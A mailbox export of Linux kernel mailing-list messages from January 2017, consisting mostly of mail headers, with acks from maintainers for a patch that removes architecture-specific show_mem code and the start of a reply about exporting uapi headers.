        bh=2wqp77p17yxSg+lKSEPa5xuvQuNji+Lw9cH2bUivEBc=;
        b=r+W3/J89CH1n89MWEPkgvl4HHerfntWPPXa3o8o9lHltMMR2/p6Gl6SS67buEn041w
         BBfeYFs1ZN8rcZa7xq4nTIff6ViquezVM0OQNWYJ6B+DO1tPqlcL0CszV3wdrSwngsKh
         8S7zuaAy5JbudQMVkUS/qtT6erM+uU3QmZGMZsiWkaxklwu8DieyPlZjAjje1uKOBck+
         3zMF9icqpcVh/d6hwKzFYF+ODd/Bw7C6cZWXr06W+EZXAn1K54vLxUfmgfb8KmhO1NVV
         HayL3Hw7DOs0UKPnLHa3/4FJAupuO9/blwIFIdTaYdNb8e5WVHoHMisw6KSsjT5TNAmc
         aLCw==
X-Gm-Message-State: AIkVDXL6zSiL2L/aDZ4OxL0Xq2A31ky7PeTvb9p/AlcBGoK0VchjDXZgRlSs6VYI59yXHp16Twb9+rWMcDZVx6lAzaLheBoPCdJODEgmvFLJE0bTrzeBJcVU47eOcyWdEJuirYcyjbJ3N8i6lgFe7ogg6QVv9bW+har/tTw7fzvrnJAuju4Mog1IMKKb
X-Received: by 10.98.31.18 with SMTP id f18mr17975453pff.36.1484243632602;
        Thu, 12 Jan 2017 09:53:52 -0800 (PST)
X-Received: by 10.98.31.18 with SMTP id f18mr17975434pff.36.1484243632226;
        Thu, 12 Jan 2017 09:53:52 -0800 (PST)
Original-Received: from EUR01-HE1-obe.outbound.protection.outlook.com (mail-he1eur01on0062.outbound.protection.outlook.com. [104.47.0.62])
        by mx.google.com with ESMTPS id x3si9363371pfi.274.2017.01.12.09.53.51
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 12 Jan 2017 09:53:52 -0800 (PST)
Received-SPF: pass (google.com: domain of cmetcalf@mellanox.com designates 104.47.0.62 as permitted sender) client-ip=104.47.0.62;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@Mellanox.com;
       spf=pass (google.com: domain of cmetcalf@mellanox.com designates 104.47.0.62 as permitted sender) smtp.mailfrom=cmetcalf@mellanox.com;
       dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=mellanox.com
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Mellanox.com;
 s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=2wqp77p17yxSg+lKSEPa5xuvQuNji+Lw9cH2bUivEBc=;
 b=ytD4OY8KR8hI2nzFMDFDniUC89ng3ZOt3iUeRvVnKV4axttQt65x42LKZQq783cGOW7lqzWiEYilK+g94gCXmroCxJ3TIsQlInqGm9MfzDPzqpL6yPGV5hNydFFrnRpgNtql/3+x9dghRIZH1ZvMXtNjXWg1PLWKnMBTMnyUTHk=
Authentication-Results: spf=none (sender IP is )
 smtp.mailfrom=cmetcalf@mellanox.com; 
Original-Received: from [10.15.7.185] (12.216.194.146) by
 AM4PR0501MB2753.eurprd05.prod.outlook.com (10.172.216.9) with Microsoft SMTP
 Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384) id
 15.1.845.12; Thu, 12 Jan 2017 17:53:44 +0000
In-Reply-To: <20170112131659.23058-4-mhocko@kernel.org>
X-Originating-IP: [12.216.194.146]
X-ClientProxiedBy: BN6PR11CA0030.namprd11.prod.outlook.com (10.173.25.16) To
 AM4PR0501MB2753.eurprd05.prod.outlook.com (10.172.216.9)
X-MS-Office365-Filtering-Correlation-Id: a85bb59d-e1e3-428b-2d8d-08d43b13f4e0
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(22001);SRVR:AM4PR0501MB2753;
X-Microsoft-Exchange-Diagnostics: 1;AM4PR0501MB2753;3:/m1s20HsRZVaLDqP94dKEovsbAIrSedzMKRQYwqGJsfsUawqjZwyRLg0SwTbwOVsQHmYUJ95pbtZJnWJTpzGulC2XVcHPMfQpaGgePXR7BIZFqhlphVuqB5z/0TOSsw5L/8yI9jL/N7Yl8UoZEXnJjvHtqWZSJiqIUdSmwkqJMBPI0GZeyTxA0RN1n7ux0iDbclHNUxiogXtWOYRfXrp7Zew/nuJ4Y3Fr2gnI+wxxmJu2w0PuGg471R1DyKxCj5MPL6rWE4PKFo0uWURcaLsQQ==
X-Microsoft-Exchange-Diagnostics: 1;AM4PR0501MB2753;25:iEytAiDCUKAMGQCljiN3USnzdaSbolbawZHef2VDMKI1LU+4ui5dMcYbXinImjx79jFHbvbruKF45z4kNhoTfKxpql1w47sNtyuxBoIPjKc+RMHxWBmzLCb+rOBWkBMTb4Yknzyp7/43u5plgtDmg3iYsHcPBM7XFw0CivICxguBZYbNZTcAsZihTQI2vrh145a1Z/0W3nox2El0ugVEvUKuQd3Mu3j9Az4VqfMAdhX4Y9eehLkUyqp6xtxDaWSGhMZ8hzkMyijlajNjQGB/qKHvi3S/6NiS4xamkbkPtBCgca8uF1S/Gna+MPUHJMosbsN3ZpfZymVt3//Jlb8JMvM4zVBjvCPWZgGt5p5pGmMK1zgLIh6eKFKiB3XlvOeMQZO+HhmRBNGWK6Qda81uMQIQ9ytDIBwUR7TKtb9Y4TulY1nHNUNfie68fUgvQMCiyCkZJYsx8KKkmkkUGmwWnqiXuGfjC8w49TUqNO87NjxShDP/y4D72l4jQv0eFYYPDqb1z7SXElrFuo6XbMWmJosHv+gAmmh086oAAjUSJ0QhvjZhFcXCFeUcAYOHFNyequVcD5/Y5V1z5GFhuVxMRparPTAOINdTqO1soNX7MqP/kQRNSrolpi330mM7xBlTD9FdGg7d4eHs+zh/cMiZDPgPidO/N6FkRIUEZCy/f4b80ylfu0qbN71bKZAHnfMG/de9p1WTXk0s8Z/X5crzr/UOYuLyxkbjSYw0EUkEeSgOvZfFD4vzjt7epeY2jx5OHb/zA2Y3s2
 ufdsyjfHdSyIGHJ55ECZkbZ/qnnWlTB1Rl84YGi4HCZGu24KGFvilM7OjeWdy1/m+ 
X-Microsoft-Exchange-Diagnostics: 1;AM4PR0501MB2753;31:LXjfCyKiu8efTBNj8ot7j0sRrxuOpDEGNITRtCfJ4tf3JLKYi+wvbN4lelbsuU3IxEGPzgURrIGrKzoKYn0351YcTf7es7AY2fACqotN+owI3wT4r8J+BoFpDr3G/63QyFO3qQ0zJ7/zcW+E+vUttK7LFdP+OPUqvcux5Z+sskheTG1DQkboqbPWntFj0uKM0356F0Md6mSJktEk4cWgqnBzis7S4LlvInTNVNuyl7JzdORsLT14lTY0tOdzAnj953GS2nZZzQrX98FtZzf3Gg==;20:fYQETwOcvOKBBa7F2kBtEklU6XW68N5oASph/ru0HPY5JrZsyF34tgEbzm+E2t5COPff/yRf9u1vZT6EII2cTz+jg71jfH4WTDHLXKJIDtM3fE8pd+04PzjIwDPIxzSnLqpR2y8fFLrGD5hPyaqGd2aUamiWk1m001sWErz0YxJE1e+Xdon1jbLWEBM3MxD21GobAlsQkmGApdKv8+U7pHDH1+QQgj8LyAAVZZQyKKOcCFVlSvzdaecjzFfE+lCqhitAUet+D2RRLtzRqwfSud9Y/ltUtNhoU/WqCUQU+4/b9wCU07Z1YesC/E1get+0uMSWm2jfVva3g9dDoC4a1ZkELNvht9PCgbF8atnn3FqebOIxajJNa6ThExXLX88bomTpqcrX8edY4wFVMeJT4lyPtVVSojTVL00CaMQCNTN5bCHNJCk9CX0+FTrRS4rbot/q6G7m4qnxMrM0XaJHmowgWDY5bNo3C+cP6vy3IV3ODJ
 euPWN90C6LUZuZiFij
X-Microsoft-Antispam-PRVS: <AM4PR0501MB27536B2435CD8AF6B5415C72B2790@AM4PR0501MB2753.eurprd05.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:(26323138287068)(9452136761055)(171992500451332)(228905959029699);
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(6040375)(601004)(2401047)(5005006)(8121501046)(10201501046)(3002001)(6055026)(6041248)(20161123562025)(20161123564025)(20161123555025)(20161123560025)(20161123558021)(6072148);SRVR:AM4PR0501MB2753;BCL:0;PCL:0;RULEID:;SRVR:AM4PR0501MB2753;
X-Microsoft-Exchange-Diagnostics: 1;AM4PR0501MB2753;4:LkKzDZAxUIUYBGCfnLULcvZVOUwIU1/pnKKi+igLrFi7qwFpAZ8BMWNMMp9WPrQqCGqA5ZmhGhmk+Ol4raacHo+qBVTo1R01ScOVoCMtZPzdEFBgAU/yoKiCKVNdbNqWMnGT5svor8IFI+W5ZcygQx+Mg/Wd9CwO2TADGRP9aLgt97cPDBthmEsjwLRpMU9gUSQfbmkeFAmVoYvecUIelOritFhCo6Sb1qAv8+6ZwS4XkWYIgTC8778EAwWWf5pcG+dQZjwGkLuS/YrnnKqIwSUDtaPV4fDAlDYD17pZ/PvqLltcE6YO6agcFQqXD4CdH1g1cHo4HGX7OlBrYEdSwfB4c8LqRmbtCj0FC8WjzhBsRmrlKtVm2zI4b1zoLcHWrF52bv5FDolqqDHbIASeiBHIr4BnGBK4TZRyRlzJe3AYAnpm91L1Z51nRnTGvnjFQ9BrAWcatYuiNx/5KTfJE4bTbdVbipkHlnt5HC6BS9wZPJru5BuLOo9+WW59QODtNf5IyaaHYrzz+EMQbjyxAHdB/9oLxWmzA1hndBz0na5JoVYFtgPnLvt1nA+JOBP42OMrXGsv32xs4wCyaAgyVOySHC/gUcKNQ2drGt3JXHFQxdnX5qp3kOlykR+eCA7D3ko7Q7/Qt/H32rx4ONZ8bOr2HGSZGBPckZedMaKboBc7FfRCxGILurQMlenR5E+B7h+kH29bVqqL4icopYDi8Udv3NEV48okhGlsfsLA2rVh5ItlPjEWwXDlORtuEgGIqD9Yb8kzXc4
 +mQjQ09Y3yQ==
X-Forefront-PRVS: 018577E36E
X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10009020)(4630300001)(6009001)(6049001)(7916002)(39860400002)(39850400002)(39410400002)(39840400002)(39450400003)(24454002)(377454003)(199003)(189002)(97736004)(66066001)(65956001)(65806001)(5001770100001)(23746002)(47776003)(36756003)(305945005)(4001350100001)(189998001)(7416002)(64126003)(5660300001)(7736002)(4326007)(50466002)(86362001)(83506001)(65826007)(2906002)(6666003)(2950100002)(33646002)(31696002)(77096006)(6486002)(76176999)(50986999)(54356999)(8666007)(8676002)(101416001)(229853002)(90366009)(6306002)(38730400001)(25786008)(31686004)(68736007)(54906002)(42186005)(81166006)(3846002)(92566002)(6116002)(106356001)(105586002)(81156014)(230700001)(217873001)(18886065003);DIR:OUT;SFP:1101;SCL:1;SRVR:AM4PR0501MB2753;H:[10.15.7.185];FPR:;SPF:None;PTR:InfoNoRecords;A:1;M
 X:1;LANG:en;
Received-SPF: None (protection.outlook.com: mellanox.com does not designate
 permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?Windows-1252?Q?1;AM4PR0501MB2753;23:N4nrrYXeg3yh8W8KRFXs7gyKkRW6SbxCThE?=
 =?Windows-1252?Q?Jn+JXuO3DzYBMcNbBarcrImij6LO0PDSbyKUHHji7yVdsZQTMS+kM1Tg?=
 =?Windows-1252?Q?vycMOGI4CnPaBeqzfHgGscUSIhIYVRDfQ18apQk5obJdoka9EfXbCeER?=
 =?Windows-1252?Q?Gu8DDAvRT5CcRTsesC4T73Ylj2IckGmLibE/FmkCywmJDKZNCJZr9Tku?=
 =?Windows-1252?Q?8FGkX+N08NhYhrAVf3+oLparXB5XR+vOTqlDZ/3jb0R4PrlPqXRhfV6X?=
 =?Windows-1252?Q?kzoP6cXOfN+aFXhiVClVopcXUVNp0EWzbbAbxPq1rvY/47MJGu5APZst?=
 =?Windows-1252?Q?mNaRaHisMxST6RyXkJFEOgXXnML1gpY8m4c8LBxWiVU0Y6cw+y6peuEi?=
 =?Windows-1252?Q?0coLgxhEi6M7GpIELsgGyWrE3HoUKon6/Xrd9L/eXPOGVN0rojGQkm5o?=
 =?Windows-1252?Q?J1QRyctUaaMJS2paPTKRuWOjiMv8D8nux+ChVaTY20M3JatSyMr0iDLj?=
 =?Windows-1252?Q?hGn+JimR+H//Q/5mDsQIOU7wadh8rb78bsgEm8yQScQZOUdqSWtajxtI?=
 =?Windows-1252?Q?HhaE+p8ealdHkizcOe5gyrT4FLLoxSduemZRQU3tGCpMLLIASTUfikj7?=
 =?Windows-1252?Q?Kb 
X-Microsoft-Exchange-Diagnostics: 1;AM4PR0501MB2753;6:P7fuUANHMrzxb7HplFAqu0DXBlwbuNpBxkDTMGTEATmJVQYhJBKXqajBkVly9WMJ4LTEOHeVdH7OKjUJkSS+Bntm6hX0hXlq7KE8iD6YfOM9lPnCzmLS0/NnldNgRO42xLzW5kVsmKGAvef8DW6hztmjPI/gJDTdh3KXsVuC1lBZyXS/S0meQ0Pmg1ucQnYh3/ugaYiv2evIB+NrwDba+g3VTAH1ld2gAikmbiuzjVnrxxDMIFt5KEDGfaPqmT2RXqul+dmlOSVLgz+AIHB9e1NPrGK/V9pgJsM2f3fLKiISeU5uSi0Ed1W42+BVVuUu2te9Z0Kp+yrVR5tfE8cPEPAQQcX/TWgl+YmZjCfAxHJKvRrCiZq/kRNIrh4WqpY5QN4mQxzAu7ZY+KhaVUSPwxKFfd0Q+nw40WJ3lBnm+wy2td7I01U31w1vLgUInekXcWxe0HZfkk2IF9CtR4wCzQ==;5:+RDBdTQaE6ntoXDG7zMpcBcEdVHUfad9RRlalMmiOqa46wHfGffQc0b49uHDNOPNQz68zi65bkWJAXZCSoiGo6Ih+TPRp9mB8LmZfRm0sadG2e+CwSGKS38ORUIsYBaXMR8bElRBjzwyc+lAQ4acN8+g3PdKIY9WfA1/PbzfVzs=;24:rGNVjcr9Cf3E+fho6ZM8jIwMlJXDoto0/llcG1glH8dOuSWcstdw+dJiu0JCfcd692JqCF1eEn3M3JYnQdTReMoDQUCpwumlbpfDwfqiTiQ=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1;AM4PR0501MB2753;7:Zzb97+juacBCddHHdz+PcYhAhGenfrt4kjB+HiqobhVDQwugf49DKf4Vdi/ff2L8v9V4uhM/oAddGKqpBIe0OWL6MRxMEoP24SjLCsJB4T38+ItlOcDrLbRg9Ngo8DqOCc9jW8slHnoh1u0abC2q/JhgqI/Mlv5/HygMETP3SSOQ2kqhwqN8/5h1d5Q4RBoCLMTuY6kULxkhlLvIj7Qm1vbexSeu9yuXcd++oeTOlD07njPe4WysFazEQ/wi48MIsK9i8qxSFhGqo9tdzApeoepQLps+EAxkloGT7cHWNmmNwoYhHKj9DD8LqKUdM18sx9tO037RyOq7Cns8kR/g36Uq2guvtjYLw/ZQBa/1mRE5JuHZNyrjrt1rL6OeqARJ3ONVC+1DCm+yPq0Yir8N46jcpJSv+uxaI+iRJdglm3SywQtealZsrGGZ/r+8wsddRLfoy5Q7YyvLcxY9zgl0dA==
X-OriginatorOrg: Mellanox.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 12 Jan 2017 17:53:44.5972 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AM4PR0501MB2753
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:164308 gmane.linux.ports.ia64:27589 gmane.linux.ports.parisc:27180
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/164308>

On 1/12/2017 8:16 AM, Michal Hocko wrote:
> From: Michal Hocko<mhocko@suse.com>
>
> We have a generic implementation for quite some time already. If there
> is any arch specific information to be printed then we should add a
> callback called from the generic code rather than duplicate the whole
> show_mem. The current code has resulted in the code duplication and
> the output divergence which is both confusing and adds maintainance
> costs. Let's just get rid of this mess.
>
> Cc: Tony Luck<tony.luck@intel.com>
> Cc: Fenghua Yu<fenghua.yu@intel.com>
> Cc: "James E.J. Bottomley"<jejb@parisc-linux.org>
> Cc: Helge Deller<deller@gmx.de>
> Cc: "David S. Miller"<davem@davemloft.net>
> Cc: Chris Metcalf<cmetcalf@mellanox.com>
> Cc: Guan Xuetao<gxt@mprc.pku.edu.cn>
> Cc:linux-ia64@vger.kernel.org
> Cc:linux-parisc@vger.kernel.org
> Signed-off-by: Michal Hocko<mhocko@suse.com>
> ---
>   arch/ia64/mm/init.c      | 48 -----------------------------------------------
>   arch/parisc/mm/init.c    | 49 ------------------------------------------------
>   arch/sparc/mm/init_32.c  | 11 -----------
>   arch/tile/mm/pgtable.c   | 45 --------------------------------------------
>   arch/unicore32/mm/init.c | 44 -------------------------------------------
>   5 files changed, 197 deletions(-)

Acked-by: Chris Metcalf <cmetcalf@mellanox.com> [for tile]

-- 
Chris Metcalf, Mellanox Technologies
http://www.mellanox.com

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.mm,gmane.linux.ports.parisc
Subject: Re: [RFC PATCH 3/4] arch, mm: remove arch specific show_mem
Date: Thu, 12 Jan 2017 21:04:18 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <2ca95061-4fb3-9f15-1f99-22e3ddd927dc@gmx.de>
References: <20170112131659.23058-1-mhocko@kernel.org>
 <20170112131659.23058-4-mhocko@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484251550 30369 195.159.176.226 (12 Jan 2017 20:05:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Jan 2017 20:05:50 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.6.0
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Johannes Weiner <hannes@cmpxchg.org>,
        Mel Gorman <mgorman@suse.de>,
        David Rientjes <rientjes@google.com>,
        Michal Hocko <mhocko@suse.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-ia64@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org
Original-X-From: linux-ia64-owner@vger.kernel.org Thu Jan 12 21:05:42 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1cRlcu-0003XP-Cq
	for glpi-linux-ia64-2@m.gmane.org; Thu, 12 Jan 2017 21:05:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751131AbdALUFk (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Thu, 12 Jan 2017 15:05:40 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:62547 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750942AbdALUFj (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Thu, 12 Jan 2017 15:05:39 -0500
Original-Received: from [192.168.20.60] ([92.203.45.134]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LngRb-1cwjZq0F1b-00hrbx; Thu, 12
 Jan 2017 21:04:29 +0100
In-Reply-To: <20170112131659.23058-4-mhocko@kernel.org>
X-Provags-ID: V03:K0:rsM/wf0t/g6f/MwqpdWtuJXzfIkZbbY/DCyUqybqqBsyv6+Zytk
 dTC2wFNZaHAk69PdRCnbmqH0apJIbRFqsJ9JF0aDhb9sEGs1L0BPvZdNiSjI3j+AmSD4EM3
 9rr0rqGcvYbXekCMu+cCrAze/3azm/v2WVfroLT+YpsuGHrjAlH+v2DIvLLdgTZ58kPcIpg
 KqEUgXbzOGOt3l5p35FVw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:pIiSncn31F4=:1/MKBsj/FdZGifqtp/b0eO
 tddMH2LwmhU3ztQSY+y6nWUEQcV65MyM4j4ltaId+n83STFgkUkRZmcLY1qJ8fnvLxsOvTPVD
 lkJ0fMgwl2gvi5zOOBmfOd0gRVGXpM9wZO++o7xBZxZpYHjghnwSCTSXaq//4ufmkEjXBIpsX
 1WxnTTtOGbjodE8KD/toK8UbL7C5zL49CeKYuOe7fg7wxU3OrNMYvM85JeE3eDmoXCARNGHAI
 kNbMz24Dw4u8w6weXJZf3vYNBaBNDtouQzrwSQaanHaCfqIoi/7zQYBY/nape6nFod/GKg1SG
 93E3GyJ4eyJ0uE18NqtsvKw9h0EJOjP1Wdr5BZsihbJLTfD/m4DhVZ56iAVZG0dZDoBJwdv5+
 jvn21fUX/eoAZZ8SgLJLdh2wTZnSWoGJrvEVzr82uYb8MIUFhF86YpjurwYB/seTITIUQQgTV
 6MVp4A23pjvbRWg5Xg21fWqt3Ya+oA7mtbSkiN7yOs2ZJH8mbZ9PDYn0+SpBJDuRstAaCHbp2
 aBNqpx44GSr4qEMQpls05QpAtxIYuUlwTdiZetTb3k0one/0b6GmfFyhO5Q0BriKXA+9k2sWd
 M7TNNi0f8hcTX/kCoYo9HVSzPhvz5x+yuiEowvsBwCU2wZM1EhUjA437cyieLtEyuIAsJXFhD
 yaWFX3Ej3yzAIYgNq5qMCTMtw4GGOhIlBUEG/pNJ90GoKzWmhoDG+vHEDf4gO1mEVU9odGJ8Z
 WEuhr/JWWBLzV66Z3+l0gqRdUPdx7Kr7FezPnBEX/d9iQAb8RNXdmUCYP7DR7r7H5gRuMxTJ 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:27590 gmane.linux.kernel.mm:164314 gmane.linux.ports.parisc:27181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/27590>

On 12.01.2017 14:16, Michal Hocko wrote:
> From: Michal Hocko <mhocko@suse.com>
> 
> We have a generic implementation for quite some time already. If there
> is any arch specific information to be printed then we should add a
> callback called from the generic code rather than duplicate the whole
> show_mem. The current code has resulted in the code duplication and
> the output divergence which is both confusing and adds maintainance
> costs. Let's just get rid of this mess.
> 
> Cc: Tony Luck <tony.luck@intel.com>
> Cc: Fenghua Yu <fenghua.yu@intel.com>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: Chris Metcalf <cmetcalf@mellanox.com>
> Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
> Cc: linux-ia64@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Signed-off-by: Michal Hocko <mhocko@suse.com>
> ---
>  arch/ia64/mm/init.c      | 48 -----------------------------------------------
>  arch/parisc/mm/init.c    | 49 ------------------------------------------------
>  arch/sparc/mm/init_32.c  | 11 -----------
>  arch/tile/mm/pgtable.c   | 45 --------------------------------------------
>  arch/unicore32/mm/init.c | 44 -------------------------------------------
>  5 files changed, 197 deletions(-)

Thanks!

Acked-by: Helge Deller <deller@gmx.de> [for parisc] 

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jeff Epler <jepler@unpythonic.net>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 7/7] uapi: export all headers under uapi directories
Date: Thu, 12 Jan 2017 19:04:27 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20170113010427.GA22650@unpythonic.net>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
 <20170109125638.GA15506@infradead.org>
 <464a1323-4450-e563-ff59-9e6d57b75959@6wind.com>
 <alpine.LSU.2.20.1701121727180.19188@erq.vanv.qr>
 <9d68af8a-a609-d7b1-58a9-f1155313b077@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484269557 12051 195.159.176.226 (13 Jan 2017 01:05:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 01:05:57 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, Christoph Hellwig <hch@infradead.org>,
 coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, arnd@arndb.de, linux-kbuild@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, mmarek@suse.com, linux-metag@v
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Jan 13 02:05:46 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1cRqJN-0002FI-JJ
	for gla-linux-snps-arc@m.gmane.org; Fri, 13 Jan 2017 02:05:45 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1cRqJR-0003rz-IL; Fri, 13 Jan 2017 01:05:49 +0000
Original-Received: from afk.unpythonic.net ([138.68.55.246])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1cRqJP-0003oF-0f; Fri, 13 Jan 2017 01:05:48 +0000
Original-Received: from jepler by afk.unpythonic.net with local (Exim 4.84_2)
 (envelope-from <jepler@unpythonic.net>)
 id 1cRqI7-0005xa-TA; Thu, 12 Jan 2017 19:04:27 -0600
Content-Disposition: inline
In-Reply-To: <9d68af8a-a609-d7b1-58a9-f1155313b077@6wind.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170112_170547_068135_7A648118 
X-CRM114-Status: UNSURE (   5.34  )
X-CRM114-Notice: Please train this message.
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
